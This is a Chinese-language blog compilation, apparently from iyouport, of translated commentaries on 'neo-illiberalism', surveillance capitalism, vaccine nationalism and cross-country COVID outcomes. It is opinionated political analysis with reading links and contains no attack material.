在美国本土发生的恐怖袭击引发了极右叙述逐渐主流化之后，2001年的特点是中国加入了新自由主义的世贸易组织（WTO）。

中国加入WTO的举动预示着由高盛经济学家 Jim O’Neill 当年创造的著名金砖四国 BRIC （巴西，俄罗斯，印度，中国）首字母缩写所体现的更大的地域变化。

O’Neil 预见到非西方国家的经济增长会更加强劲，并呼吁西方领导人将主要的非西方国家纳入主要的治理平台，并在此后十年通过将二十国集团（G20）提升为世界领先论坛来实现新的全球治理模式。

除了寻找新市场和廉价劳动力外，2000年代的特征还在于金融离岸世界的崛起 —— 一个由避税天堂和保密管辖区组成的领域，大公司和富人在此秘密存放现金和财产 —— 在千年之交成为全球资本主义的中央操作系统。

- 《 如何迎接更多的“巴拿马文件”？ 》

从那以后，来自俄罗斯和其他地方的离岸资金纷纷涌入伦敦等城市，点燃了对房地、足球俱乐部、媒体集团和政治影响力的消费狂潮。

除其他外，离岸世界还助长了壮观的公司欺诈，例如导致美国能源巨头安然公司（Enron）倒闭的事件，该公司的欺诈手段被各种西方银行复制粘贴，为十年后的金融危机奠定了基础。

追溯到千年之交的最终关键发展是数字平台的诞生。

Google 发明的监视资本主义正如 **Susanna Zuboff** 所说的 “充当单面镜的自动化体系结构”，此后，监视资本主义已发展成为致力于行为监控、操纵和修改的全球性机器，并不断地将自身与资本积累的核心逻辑紧密结合 。

- 《 谷歌控制的世界和监视资本主义 》这篇文章中有书籍下载链接

至关重要的是，数字化加速了上述趋势：数字化不仅推动了全球资本向离岸匿名转移，而且还通过 YouTube 和 Facebook 算法扩大了极右翼叙事主流。

就像无形的离岸世界一样，在没有诸如2001年《爱国者法案》之类的反恐立法的支持下，监视资本主义的兴起在很大程度上没有引起人们的注意。

在所谓的反恐战争和金融动荡的雷达之下的二十一世纪头十年，出现了根本性的全球性、离岸化、数字化和金融化的超级资本主义。影子银行、幻影投资和黑钱等描述甚至不足以说明它们作为新世界的基本组成部分的作用。

- 《 什么是”黑钱”？解答5个问题 》

这个新世界是价值数万亿美元的科技公司的 “家”，这些公司与其他（空壳）公司形成了一个完整的公司结构网络，其主要最终所有者构成了全球大约两千个个人和家庭组成的全球亿万富翁阶层。

- 《 动物农场的世界 》

因此，这也是新自由主义技术官僚与寡头政治日益融合的世界。

由于全球收入和财富不平等的惊人增长，超级富豪和国家政权的寡头垄断不仅定义了俄罗斯或海湾地区的精英阶层，而且也越来越多地定义了美国等西方国家，像科赫兄弟这样的亿万富翁有效地接管了共和党。

除了经济复苏以外，2010年的定义是金融和技术部门的日益融合。

在政治经济学家 Daniela Gabor 标记为 “ 华尔街共识 ” 的发展模型中，在 G20 框架内对新自由主义华盛顿共识的适应性中，全球银行和金融机构已开始接受金融科技（fintech），而 其对个人数据的无限渴望是金融化监视资本主义的原材料。

至关重要的是，在硅谷长期享有全球技术垄断地位的地方，**2010**年代见证了中国大型技术公司的到来，争夺全球统治地位 —— 即 " 高堡奇人 " 。

「图」

「图」

西方金融游说者表达了对诸如阿里巴巴和腾讯之类的中国平台的担忧，他们将其 形容 为所有美国大型科技公司都 “卷入” 了中国共产党（CCP）的严格控制之下。

这些担忧并非没有根据：Facebook 在构建全球加密货币时遇到许多困难，中国中央银行已经开发了自己的 “替代方案”，而中共最近下令中国的银行和科技平台都要采用它。具体详见如下。

- 《 杀死天秤座在萌芽状态 》
- 《 中国着眼于”自己的加密货币”以维护政府对全民私生活的控制 》
- 《 中国正在使用区块链技术监视其公民？ 》

用马克·扎克伯格（Mark Zuckerberg）的话说：“美国必须扮演更加积极的角色，否则我们的财政领导地位就无法得到保证”。

尽管世界其他地区稳步购买了中国技术，但其他 “金砖四国” 却 接受了（部分）中国的数字战略。 （不止那**3**个国家）

- 《 他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕 》
- 《 当谈到数字威权主义时，中国是一个挑战，但不是唯一的挑战 》
- 《 泄漏文件证实：有更多的美国科技巨头支援中国庞大的监视国家 》

例如，2014年印度14亿人口中只有一小部分人拥有银行帐户，而此

后到目前这一数字已超过10亿。

也就是说， 这些银行帐户与生物识别个人数据紧密有关 ，批评家们将此政策视为纳伦达·莫迪（Narenda Modi）将印度转变成印度教民族主义监视国家的政治议程的一部分。

- 关于印度《 全球最大的民主国家也是全球最大的监视国家 》

总体而言，在冠状病毒成为首个新闻头条之时，纽约时报针对监视资本主义的未来确定了 三种相互竞争的构想 ：中国人在 “快速行动并具有破坏性” 而不考虑隐私权和公民权利；欧盟试图围绕隐私和同意提出道德观点；而美国则处于中间位置。

- 推荐该报告《 冠状病毒如何让整个地球变成了反乌托邦地狱 — 包括但并仅仅是中国：长篇报告 》

民族主义列宁主义

尽管 “快速行动，打破常规” 对于习近平的中国来说是一个很好的描述，但应该记住，这一理念长期以来一直指导着硅 谷，在那里寻求豁免胜过乞求许可。就如既有行业、惯例和流程的中断定义了 Uber 这样的平台，其运作无需考虑任何法律或基本礼节。

此外，随着西方新*不*自由主义的兴起，这种哲学也进入了政府。

例如，最好将英国退欧理解为不断破坏既定的政治惯例和程序的过程，从回避的新闻发布会到非法关闭议会。正如经济学人 指出 的那样：“保守党” 的破坏性战略和硅谷一模一样。

自千年之交以来，猖獗的数字化已经破坏了一系列成熟的行业，并在金融危机后将目光投向了现存的金融体系，而 **2010**年代的标志则是高科技对既定政治的渗透。

- 具体解释 见《 看不见的独裁 》
- 以及《 国王们的晚宴 》

自从巴拉克·奥巴马（Barack Obama）崛起以来， **Facebook** 和 **Google** 就将自己的员工安置在美国的政治竞选活动中，此后，围绕这些平台发展出了一个完整的技术参与者生态系统 ：就在专用的机器人和巨魔农场旁边，现在存在着一个致力于主流极右叙事的媒体网络。

- 对 Facebook 政治旋转门的开源情报挖掘《 深层政治：Facebook金字塔的人形肌理 —— 仅仅依靠开源数据，扒开利维坦的内裤 》
- 对谷歌政治旋转门的开源情报挖掘《 追踪谷歌的政治旋转门：开源调查 》

其中最著名的是由美国亿万富翁 Robert Mercer 资助的、由身份主义煽动者史蒂夫·班农（Steve Bannon）领导的 Breitbart News。

无论是像 NewsCorp 这样的全球性公司参与者，还是美国国内的公共广播公司，既有媒体对极右叙事的采用，都将右翼文化大战带入了大众媒介政治的既定舞台。

「图」

「图」

匿名者组织动员对抗当权者对社交媒体的霸占

在这个生态系统中，其他关键参与者还包括数据分析公司，例如 Cambridge Analytica（CA 剑桥分析公司），以及美国科技业亿万富翁 Peter Thiel 拥有的 Palantir Technologies。

- 关于剑桥分析公司《 心理操纵的秘密："行为经济学"＋PR＝？ 》

创始人 Alexander Nix 与大卫·卡梅伦（David Cameron）以及鲍里斯·约翰逊（Boris Johnson）是校友，都是精英学校的学生，Thiel 不仅很享受作为特朗普顾问，而且还喜欢担任马克·扎克伯格（Mark Zuckerberg）的 Facebook 董事会成员，他使该公司免于对政治广告的实施核查。

美国记者 Jane Mayer 在谈到 "福克斯新闻白宫" 以强调特朗普与全球第二大媒体巨头之间的密切关系时指出，在数字时代，全球第一位 Twitter 总统也可以被称为 Facebook White House，即 特朗普成为世界上最强大的媒体大亨启用的数字化病毒式大众传播的方式。 「图」「图」

正如特朗普的数字竞选经理所说："如果没有 Facebook，我们就不会赢"。

- 在这里看到《 选举运动的数字化斗争: 2020 Presidential Race

》

新不自由主义的全球兴起被科技公司的指纹所覆盖：WhatsApp 介导的meme帮助 Jair Bolsonaro 在巴西掌权、菲律宾的 Rodrigo Duterte 则是 Facebook 政治能力的早期采用者。

而且， 一旦掌权，这些 “强者” 就像那些破坏性的技术首席执行官一样，在破坏自由民主的同时，还使用监视工具来固定自己的统治 ：例如，在印度，最近发现加密的 WhatsApp 被黑客入侵，从而使莫迪能够追踪其政治对手。

- 在这里看到《 政府能否摆脱其在公民身上使用WhatsApp间谍软件的嫌疑？ 》
- 同样的事在中国发生《 警告：WhatsApp文本流中的恶意链接 》

但是， 尽管以色列间谍软件和俄罗斯黑客在新自由主义政治的跨境传播中发挥了重要作用，但是，要充分掌握数字时代的政治可能性，我们需要将目光转向北京，在北京，数字技术在社会控制中的地位举足轻重 。

自1970年代后期以来，经济新自由主义与*不*自由政治控制相结合，中共一直是世界上新*不*自由主义的先锋之一。

专家称，中共的执政意识形态是民族主义和列宁主义的一种奇妙的结合，此前中国拒绝了法国和俄罗斯革命的意识形态。

至关重要的是，拒绝两个主要的解放运动 —— 社会主义和自由主义 —— 正是西方极右翼的追求。换句话说， 在新*不*自由主义下出现的是全球意识形态的融合。

试想一下：在2015年所谓的欧洲 “难民危机” 高峰期，这加速了极右派叙事在整个西方呈现高峰，新*不*自由主义中国也出现了自己的 “Alt-Right” 用语，贬义词如 “白左” 在整个博客圈中突然出现且非常普遍。

自2016年以来，这种民族主义和列宁主义的混合体在西方留下了自己的印记，通过诸如 America First 之类的民族主义项目；英国退欧是在自称为列宁主义者的指导下进行的，例如班农或鲍里斯·约翰逊的顾问 Dominic Cummings。

在另一位共产主义者 —— 意大利 Antonio Gramsci 的引导下，极右

翼文化大战引发了这些破坏性的列宁主义者崛起，他们着眼于破坏自由民主和法治。

为此，他们假装代表“人民的意志”，并毫不留情地破坏了自由民主的核心基础设施，将其主要机构定为“人民的敌人”、“破坏者”和“叛徒”。

用亿万富翁阶层的偶像 Bannon 的话 来说就是：“列宁想摧毁国家，这也是我的目标。我想让一切崩溃，并摧毁今天的所有机构。”

「图」

「图」

Alibamazonia

经济学家 Branko Milanovic 预测 ，在二十一世纪， 两种类型的政治操作系统之间将发生全球性冲突 —— 由美国领导的自由资本主义与由中国倡导的政治资本主义 —— 实际上，两者已经大体融合。

简而言之，中国和非西方世界在二十世纪末的几十年中效仿美国和西方的形象在经济上开放，而今天，您可以试探性地认为，美国和更广阔的西方在政治上正在效仿中国式的封闭。

这个新的结合就是新*不*自由主义，它解释了 Thomas Piketty 所说的“重商本土主义”，即 新自由主义和身份主义民族主义之间的结合。

- 《 华为之战的虚伪：技术的巴尔干化 》

新*不*自由主义的兴起还表明资本主义重心已经转移：在传统外围国家的某些地区稳步假定了传统核心国家的特征的同时，西方目睹了资本主义重心的逆转，正如已故的 Immanuel Wallerstein 所描述的半外围化。

用 Martin Wolf 的话 说就是：“随着西方经济在收入分配方面变得越来越拉丁美洲，他们的政治也变得越来越拉美”。

历史学家 **Neill Ferguson** 曾经提到 **“ Chimerica”** 以强调世界两个超级大国 —— 中美 —— 之间的相互依存关系，而今天，您完全可以看到一个被称之为 **“Alibamazonia”** 的轮廓：二十一世纪技术民族主义国家帝国联盟，即民族主义“强人”与数字平台之间的全球联盟 ——

" 高堡奇人 " 。

这种关系是共生的，因为数字监视的推出就是设计来回击自由民主的，这反过来又加强了*不*自由政治的统治。

用 Susanna Zuboff 的话说就是：“监视资本主义比其新自由主义源代码所预测的更加趋向于统治化…… 其反民主的集体主义野心表明，它是一个无法满足的孩子，正在吞噬年迈的父亲。

确实，数字化和监视不仅破坏了史密斯的竞争市场，而且，还破坏了洛克的私有财产概念，并最终威胁要取消对个人自由的所有保障。

除了预示着从西向东的地域性转移外，联合国（UN）最近与中国的微信（Tencent）签订了一份合同，以简化其数字通信，这标志着，新自由主义还预示了国家层面和全球规模的根本性重构，分别为公共空间和私人空间，几十年来的新自由主义改变了前者的形象，同时，后者目睹了域外向数字化和离岸领域的转变，导致私人资本主义力量大举崛起，蚕食了国家和国际体系。

这是西方新*不*自由主义兴起的最平庸的解释：数十年来新自由主义有效地树立起了西方形象，新*不*自由主义预示着新自由主义的最终赢家寻求购买并私有化政府本身的时刻：“ 新自由主义的最终边界 ”。

「图」

「图」

冠状病毒大流行

尽管冠状病毒可能是新自由主义的最后丧钟，但是应记住，新自由主义是一种高度易变的意识形态 —— 装备精良，可以利用自身的失败来发展自己。

换句话说，如果新自由主义快要死了，我们正在看到的是慢动作的消亡：其中一些在千年之交的互联网泡沫破裂后确定即将死亡，而新自由主义无疑在2008年金融危机之后失去了自我解释的光环。

因此， 尽管西方的新自由主义仍然以中间派的共识来推进，但它已经变得更加专制。

在2016年，中间派共识崩溃，新自由主义的核心经济计划由果断的*

不*自由政治进行，问题是今天的冠状病毒是否会终结该经济计划。其关键支柱，如全球资本流动性和中央银行独立性，仍然屹立不倒。

此外，尽管很可能会制定新*不*自由主义政策来遏制病毒传播，例如实行资本管制，但从长远来看，这些可能是暂时的措施。

话虽如此，如果冠状病毒被证明是新自由主义的最后丧钟，甚至金融时报 都在暗示 ，它证明了是对新*不*自由主义核心特征的祝福。例如，该病毒被认为是对新自由主义全球化的起诉，它助长了自由民主的倒退和数字监视的大规模推出。

的确，对于全世界的人造列宁主义者和高科技亿万富翁来说，这种病毒是最终被利用的破坏性事件。在共和党人利用疫情立法减税和放松管制的情况下，也不应低估特朗普为自己的利益而利用大流行病的程度。

许多 “强人” 都在拥抱病毒以巩固自己的统治地位 ，尤其是维克托·奥尔班（VictorOrbán）愤世嫉俗地利用该病毒来加速匈牙利从自由民主制向非自由专制的转变，而欧盟再次寻找另一种方式，从而确认了其自身已经被新*不*自由主义腐蚀。

在许多国家尚未建立大规模测试能力以追踪病毒并摆脱社会封锁的情况下， 大多数国家都降低了隐私立法以便以数字方式追踪病毒，其中包括西班牙等左翼联合政府。

从这个意义上讲，这种病毒导致新自由主义著名的 TINA 口头禅的重新启动 —— there is no alternative —— 在生命危及关头，谁在乎深远的监视？

正如 Jamie Bartlett 所说， “迫在眉睫的反乌托邦是由智能机器和 “进步的” 但专制的技术专家组成的新兴精英所统治的空壳民主。

苹果和谷歌模仿中国金融科技国家的核心特征，联手允许政府追踪该病毒，而美国政府已承诺推出数字支付作为冠状病毒救援计划的一部分。在下面看到详细报告。

- 《 冠状病毒如何让整个地球变成了反乌托邦地狱 — 包括但并仅仅是中国：长篇报告 》

实际上，该病毒是科技公司的金融财富 ，就如 Thiel 的 Palantir 已与英国国家卫生局（NHS）签订的那项巨额合同，以优化数据管理。

在应对病毒的第一批行动中，Dominic Cummings 邀请所有大型科技公司来到唐宁街。如《连线》杂志所述：“ ‘for Cummings it’s big tech versus bad virus’ ”。 Palantir目前正在与欧洲各国政府进行谈判。

在全球范围内，该病毒正在促进当权者使用位置数据和面部识别技术来跟踪所有人的行踪，从而促进了数字应用程序的开发。如上面报告所示。

在印度，莫迪的追随者正在强迫公民每小时进行一次自拍，以追踪他们的下落，并监视违规行为，违规将导致强制隔离检疫。

这样一来， 冠状病毒就有可能加深以大规模的监禁计划为特征的新*不*自由主义的丑陋面孔，从中国新疆的维吾尔族人到在地中海和美墨边界被无限期关押的难民。

尽管大流行尚未蔓延到全世界的贫民窟和难民营威胁到最脆弱人群的生命，但是，对以发达医疗体系为特征的 发达世界对这种病毒的松懈反应正在使新自由主义的隐性社会达尔文主义倾向令人震惊地暴露出来 。

随着新*不*自由主义的兴起预示着深刻的地缘政治和经济变化，这种流行病很可能会被用来重新连接世界上的旧操作系统。

中国会否清算其大量持有的美国国债？世界超级大国究竟会加剧战争威胁还是会妥协，还是我们已经在考虑新定居点的轮廓了？随着世界经济跌宕起伏，而且最坏的情况仍在发生，许多中小型企业都面临破产，而亚马逊和极少数其他大型寡头技术公司正在大规模扩展其业务。疫情后的世界会是什么样？资本主义还活着吗？……

尽管我们可以预计可能发生什么，但是， 最大的社会破坏之一是传统社会的交流、亲密关系和联系的丧失 ，因为我们所有人都被关在家里，被迫进入数字接口，不断将数据泄漏到扩展的监视资本主义机器上。（在下面看到具体内容）

- 《 监视技术的扩张并无助于防疫 …… 冠状病毒教给人类的东西 》

尽管暂时别无选择，但是我们最好能确保抓住时机：破坏性病毒为社会的重新编程提供了令人难以置信的前景 —— 无论情况好坏。免得我们忘记这场危机不仅是生物危机，而且是深深的政治危机。〇

Neoliberalism is over — welcome to the era of neo-illiberalism

原文

疫苗的民族主义权力游戏只会毁掉一切 - iyouport

COVID-19(84)地缘政治

【2021年4月7日存档】如果这种权力游戏继续下去，最终它将使所有人陷入灾难，不论是富人还是穷人。

在过去的几周里，世界已经看到，如果COVID危机在未来几个月内没有缓解，国际关系会变得多么的丑陋。

虽然少数国家—— 尤其是美国、英国和以色列—— 已经为其大部分人口接种了疫苗，但对于世界上大多数国家来说，将疫苗接种到能够抑制病毒传播的规模，仍然是一个遥远的愿望。

在巴西，随着病毒的肆虐，博索纳罗的政府在灾难面前犹豫不决，到近日，每天有近4000人死于这种感染。在东欧大部分地区，3月下旬的死亡人数高于疫情发生至今的任何时候。虽然美国也面临了可怕的COVID感染高峰，但随着疫苗接种的继续快速进行，28%的美国人已经至少接种了一剂疫苗，希望仍然很大。

随着拥有强大疫苗接种计划的国家与疫苗接种机会较少的国家之间的差距越来越大，一些国家政府可能会进一步滑向所谓的疫苗民族主义：阻止疫苗出口，即使这些疫苗已经由其他国家支付了费用；坚持要求希望进入该国的人接受该国生产的疫苗；并利用选择性的疫苗出口作为支撑自身海外影响力的方式—— 就像武器销售或捐救济金那样。

上个月，历来以开放和国际精神为荣的欧盟（EU）以一种特别粗暴的方式挥舞着原始力量，开始封锁疫苗出口。

法国称这是“天真”的终结；意大利说，在本国民众接种疫苗不足的情况下，停止出口是当务之急；德国 —— 即使使用了较为温和的语言，也以保护本国民众为第一要务。无论如何包装，结果都是一样的：欧盟在其境内大规模地搞砸了疫苗的推广和分配，并因英国变种病毒的传播而不堪重负，现在正严格限制在欧洲领土上生产的疫苗出

口到加拿大、英国、澳大利亚和其他国家，这些国家的政府已经支付了一定数量的辉瑞和阿斯利康疫苗。

欧盟委员会拒绝了“封锁”的措辞，称其只是在像美国一样保护自己，但很难看出还能如何解读欧盟优先事项的变化。也很难看出这样的政策如何成功地加快欧盟本地的疫苗接种计划，因为许多瓶颈与疫苗分配基础设施的不足有关，而不是与欧洲大陆的实际短缺有关。

换句话说，欧盟咄咄逼人的姿态是一种政治姿态，目的是为了转移人们对疫苗分配方面惊人的公共卫生失败的关注。可悲的是，这种姿态可能会导致许多人丧生。

就英国而言，这种情况最终可能会变得特别危险，因为政府已经开始采取尽可能多地发放第一剂疫苗的策略，并将第二剂疫苗的发放时间延长至12周—— 远远超过美国所允许的时间。但现在，疫苗的稳定供应面临风险，因为英国所依赖的辉瑞公司的疫苗是在比利时生产的，这意味着第二剂疫苗可能会进一步推迟。这对那些只接种了部分疫苗的人来说，有免疫力崩溃的风险，可以想象，这将导致春末夏初新一轮的感染潮。如果这种情况发生，英国脱欧后与欧盟之间本已磨合不良的关系可能会更加恶化。

然而，疫苗民族主义绝不仅仅是欧洲的问题。在特朗普的领导下，美国退出了世界卫生组织（WHO），并拒绝参加国际COVAX计划，该计划旨在向被冻结在市场之外的贫穷国家及时提供疫苗。

虽然拜登已重新加入世卫组织，并宣布美国确实将参与国际疫苗援助工作，虽然政府最近宣布将向墨西哥和加拿大运送数百万剂疫苗，但是，绝大多数美国制造的疫苗仍然只在美国使用，该半球较贫穷的国家在很大程度上被剥夺了获得辉瑞和摩德纳疫苗的机会。同时，即使美国重新参与，COVAX项目目前也只能保证在未来几个月内为非洲提供足够的疫苗，以确保非洲大陆20%的人口得到疫苗接种；而截至目前，整个非洲大陆超过**10**亿人口，只得到了**2000**万剂疫苗。

除了美国，其他国家也在把疫苗作为一种权力形式，作为**21**世纪特有的大国游戏中的新工具。中国对任何希望进入中国的人都有一些世界上最严格的要求，但只有那些有证据证明他们接种了中国疫苗的入境者中国才愿意放宽这些限制。尽管至少辉瑞公司和摩德纳公司生产的疫苗似乎比中国疫苗的疗效要高得多，但中国还是这样做了。

与此同时，俄罗斯正在向世界上许多贫穷国家，特别是拉丁美洲和亚洲的贫穷国家大量出口斯普特尼克五型疫苗，这可能是为了在冷战后

数十年被赶出的地区重新建立其全球足迹。

以色列是世界上人均疫苗接种率最高的国家，并已开始实施疫苗护照制度，允许接种者进入某些公共场所，这些地方禁止未接种者进入；但以色列政府对加沙和约旦河西岸的巴勒斯坦人实施了疫苗封锁，只向这些地区的地方当局发放了几千支疫苗。据无国界医生组织计算，以色列人获得疫苗的可能性是居住在被占领土上的巴勒斯坦人的60倍。同时，西岸的定居者获得了疫苗，而巴勒斯坦居民却没有。在某种程度上，这相当于通过种族或宗教的忠诚度来奖励获得疫苗的机会——换句话说，活下去的机会。

COVID危机是一个多世纪以来最大的全球公共卫生挑战。虽然在不到一年的时间里研制出疫苗是人类历史上最伟大的科学合作成果之一，但现在，这种合作精神在民族主义政治的漩涡中和围绕疫苗分配的排斥性语言中消失了很多。

从长远来看，疫苗民族主义，以及富国的保护主义，对任何人都没有帮助。如果未来数月和数年，在无法与美国、英国、欧盟和其他全球市场强国竞争疫苗的穷国出现新的、更具传染性的病毒变种，那么这些变种中的一些最终将逃避现有的疫苗，这是一个真正的风险。这样的发展可能会使每个人，无论是富人还是穷人，都回到原点，而这种情况对全球的影响将是灾难性的。○

Rich Countries Are Using Vaccines as a Power Play—and Everyone Could Suffer

原文

疾病、死亡和治理：冠状病毒防疫与政治制度之间的关系有多大？ - iyouport

COVID-19(84)

【2021年3月16日存档】中国在防疫方面吹的主要牛皮就是其政治制度的“优越性”。政治制度真的是防疫成果的决定性因素吗？伦敦大学的教授对此做了一些分析。

【注：本文不代表iYP立场，因为它的视角与我们不同 —— 它将关注点放在防疫成效上，而不是防疫手段的侵犯人权程度，后者才是IYP的主题。但是它的确指出了一个问题，即 很多国家用来做“治理参照”的典范标准，是不科学的；尤其是，防疫有效性和政治制度优越性之间的关系并非人们下意识所认为的那样。】

当美洲、欧洲和许多其他国家在进入人们所理解的 COVID-19 “第二波”时，面临着各种可能的行动选择，它们的媒体反复提到一小部分国家，这些国家可能是“最好的模仿对象” —— COVID防疫良好治理的典范。

首先要说明两点。一段时间以来，人们一直不清楚这股反弹究竟是病毒本身变异的直接作用，还是主要由人为治理缺陷造成的？爆发高峰是否是民间的松懈造成的？很可能有人会认为，一个国家抑制COVID发病率和死亡率的能力“是其现有治理能力的标志”。

于是，良好的 COVID 管理就成为了衡量政策力度和范围的标准，衡量政府说服公民遵守法规的坚定性，衡量政府自身适应外部环境变化的能力。

由此可以说，良好的 COVID 防疫结果被认为可以作为一个政府带领国家进入疫情后时代经济复苏的指标。因此，这里可能有相当多的利害关系。

因此，选择最佳范例很可能反映出许多人的一种基本信念，即：某一国家在国际大家庭中具有很高的地位（这正是为什么中国要急于吹这

样的牛）。

也就是说，全球许多人可能认为，成功的防疫结果既是成功治理的典范，也是道德经济的典范。相反，在“第二波”爆发中，防疫的失败现在可能被认为是一个国家失败的标志。我们已经见证了特朗普的下台。

很明显，值得注意的典范不可能小到明显的离群值，否则福克兰群岛或格陵兰岛等不同的地方会率先出位。这就把那些确实在防疫方面受到赞扬的国家/地区放在了一边，比如香港和新加坡。这也适用于孤岛和人口密度极低的广大领土，如冰岛、马达加斯加、芬兰，甚至挪威。

更直接的推理是，那些寻求治理方面的榜样的国家肯定应该忽略那些选择不报告每百万人检测数量的国家，比如布基纳法索，人口超过2400万，Cm(每百万人病例) 达到122例，Dm(每百万人死亡)只有3例，却不报告自己的检测数量，令人印象深刻。

当然，有些国家的住院病例或死亡人数实际上很少，以至于这些国家根本没有进行检测，但很难将它们与那些如果进行了彻底检测就会有大量病例数字被报告出来的国家明确区分开。

评估COVID防疫经验并选择模型

「图」

下表1 列出了10个国家的详细情况，其中5个国家的例子在全世界都很常见，另外5个国家则不是，但其记录值得认真考虑。世界数据在最后一行。Coronavirus Worldometer

表1提供了大量的警示故事。Cm衡量每百万人中COVID病例总数，Dm为每百万人中死亡总数，D/C为死亡人数占登记病例总数的比例，我们将其作为判断死亡率的指标；Tests/m为每百万人中COVID的检测次数。数字来源于2020年1月13日日本首例确诊病例发生之日至2020年11月11日期间的总数。

五个被普遍认为是“榜样”的国家案例用粗体字标出，根据它们自己在整个这段时期的官方登记数据，它们实际上提供了非常不同的COVID经验。

似乎很明显，德国和瑞典是典范，特别是在西方国家，因为与欧洲其

他主要国家（如 英国或比利时，Dm数据分别为719和1112）和 美国（Dm为734）相比，它们在防治 COVID-19 方面有良好的记录。他们每百万人口的测试结果也很高，尤其是瑞典。但后者作为一个范例的主要缺点是人口规模小得多，而且与意大利等高COVID感染率的国家相比，欧洲在空间上相对孤立的特点也很特别。

此外，瑞典的D/C或死亡率为3.6%，实际上是本表中10个国家中最高的，尽管其检测率很高。这可能意味着，要么是检测证明阳性后有效住院的程序上有问题，导致死亡率较高，要么是由于其老年公民的比例相对较高 —— 65岁以上的人口占20.3%，而澳大利亚和美国则为16%左右。

然而，当我们注意到德国的老年群体比例为22.2%，而日本的这一比例更高为28.2%时，上述推测的有效性就被严重削弱了。这两个国家的D/C均为1.7%。鉴于瑞典人口较少，将瑞典作为防疫成果典范将令人们产生一些怀疑。

在欧洲范围内，德国的情况可能比较好，特别是与瑞典不同，德国与比利时、法国和荷兰等高感染率国家相邻（Dm值分别为1,185、651和484）。

欧洲以外的问题

「图」

但乍一看，欧洲的竞争者都无法与欧洲之外的澳大利亚、日本和台湾相提并论，后者这些国家的Dm都特别低(台湾的0.3%无人能及)，Cm也低得多。

对于日本和台湾的情况，似乎弱点是其每百万人的检测水平低。在其他条件相同的情况下，这意味着，如果一个国家依靠检测结果作为其主要的COVID数据来源，而不是从医院和普通医生那里收集被诊断为感染病毒的病人的官方数据，那么较低的检测数量会导致较低的 “登记病例”。

这绝不是一个响亮的否定。很有可能，当然也可以理解，一个实际发病率较低的国家不会像问题明显严重的国家那样觉得有必要进行大规模的检测。值得注意的是，美国和英国是所有大国中感染比例最高的国家 —— 约占各自人口的50%。鉴于检测的数量并不能说明检测程序的质量，似乎有充分的理由将台湾和日本奉为典范。

澳大利亚没有这样的问题，其检测率是世界上最高的国家之一，明显高于德国。它的Dm特别低。这里唯一的问题是其人口结构的特殊性(很大一部分人口生活在巨大的海岸线上)，它与所有高COVID热点地区总体上相对隔绝，尽管有大量的游客和商业联系，但它有能力将自己封闭起来。这些特点都是无法简单模仿的，但这些特点可能比任何单一的政策因素或任何特殊的官方干预手段，都更能决定其作为感染抑制效果的成功。

尽管有直接与COVID相关的数据，但为什么有些国家是模范国家，而其他国家则不是？

表1 的三行将讨论这个问题。Pol-FrR 提供了一个国家内部政治自由度的指标，根据华盛顿特区的自由之家自1973年以来进行衡量的指标。这些数字是一个指数，在所有主要国家中，100（瑞典）居于首位。

表1还表明 —— 在10个国家的名称旁用*号表示 —— 所有被自由之家贴上 “选举民主” 标签的国家，可以看出，所有5个主要的模范国家都属于这一类别，而且每个这些国家在 Pol-FrR 指数上的排名都很高，介于93和100之间。作为模范的5个国家都是自由民主的群体，与许多将其视为模范的国家共享一系列地位特征和政治文化的属性。

尽管拥有惊人COVID历史的台湾并没有被这个选择组中的其他4个国家正式承认为一个独立的国家，但它的特征与该组整体的特征完全吻合。购买力平价一栏显示，这些国家是世界上最富有的、最成熟的工业国家之一，而世界各大媒体对其模范性的评估肯定反映了文化特点。购买力平价是根据各国不同的价格水平计算出来的货币之间的等值系数。目的是对各国的国内生产总值进行合理比较，对简单的人均收入比较进行调整。

该指数以美国为100。似乎所选择的榜样被视为 “适合效仿”，而这正是媒体所反对的，它们制造了 “应吸取的教训” 或 “遵循科学” 等口号。这一点在 Econ-Fr 一栏中得到了证实，该栏提供了华盛顿特区右翼组织 “传统基金会” 在其巨大的免费提供的2020年经济自由指数中计算出的2020年政治自由指数，其中新加坡以89.4位居世界之首，澳大利亚以82.6位居第四，瑞典以74.9位居第22位，等等。

也就是说，尽管这个群体内部的COVID表现有很大的差异，但这个群体被认为是模范的，理由是在全球文化中，高收入的市场自由主义被授予了最高的地位。有了地位，就有了高信任度的概念，这是高收入的次要回报。

可以说，在COVID的世界中，什么是“模范国家”的概念，主要不是建立在COVID的记录上的，而是建立在防疫成绩的一些证据上，再加上许多其他证据表明这些国家相比世界上其他国家具有更高的“地位”。因此，尽管本文指出了所有的警告和缺点，但似乎这组国家列表中看似截然不同的国家将继续作为模范存在。

关于最佳防疫能力比较的另一种观点

「图」

这个列表中的其他5个国家则完全不同。虽然波兰和印度都是议会民主制国家，但与另一组国家一样，它们的人均收入要低得多，埃塞俄比亚是世界上最贫穷的国家之一。它们的经济和政治自由度都较低，但它们都有非常好的COVID防疫表现，如Dm和D/C栏所示，而且每百万人的检测数字一般都很合理（最差的是安哥拉，实际上超过了台湾的数字！）。这些国家的人口规模都不小，在这一点上，作为可能的模范案例值得关注。

由于波兰的Cm数字比较大，初看起来不太可能成为候选国，但要注意的是，它的数字与瑞典相等，且远远低于西班牙(29,692)、法国(26,769)或比利时（42,547）。其每百万人口的检测量超过了日本。它的D/C比率非常低，远低于英国、意大利、法国，甚至德国。它与7个高感染率或不确定的国家接壤，如捷克共和国。当然，它也是欧洲国家。

我们可以说，波兰在西方从未被视为典范，因为该国的人均收入较低，与马来西亚相当，而且它的经济和政治自由度低于公认的典范群体。当然，埃塞俄比亚和安哥拉也是如此。它们的COVID指数低的最有可能的原因是缺乏有效测试的基础设施，以及它们的人口中老年人数量少，主要是由于收入低。如前所述，仅此一点就可以降低死亡率。

迄今为止，印度和马来西亚更有可能成为其他国家效仿的榜样。表1中提到的印度具有庞大的人口和极端贫困的特点，理论上并没有实现低Cm以及特别是低死亡率的措施。作为一个完善的议会民主制国家，印度拥有相对较高的政治自由度，尽管其决心继续规划高经济增长（从2012年起GDP年增长率超过7%），意味着政府不会让市场力量统治商品和服务的生产和分配。由于其年龄分布，尤其考虑到其人口的庞大，印度很可能被视为低COVID国家的典范之一。

马来西亚作为最佳实践？

「图」

作为许多意义层面上的典范案例，马来西亚一直是被国际大众媒体评论员普遍忽视的国家。然而，由于其经济自由度高，该国在合理检测的基础上取得了显著的COVID统计数据。

